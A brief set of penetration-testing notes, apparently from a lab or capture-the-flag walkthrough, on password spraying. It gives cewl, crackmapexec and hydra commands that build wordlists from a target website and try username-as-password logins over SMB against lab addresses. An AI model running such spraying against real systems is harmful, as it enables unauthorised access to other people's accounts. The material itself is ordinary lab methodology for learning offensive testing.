Spraying

Based on the users that you have you could try to make a list of the usernames and use cme to see if they used their username as passwords.

<username:username>

<name>:<their normal name>

Use cewl on their website just in case as well.

cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers > wordlist
crackmapexec smb 10.10.10.172 -u userlist.txt -p passlist

Spray SMB just in case.

hydra -L userlist.txt -P passlist.txt 10.10.10.193 smb

Last updated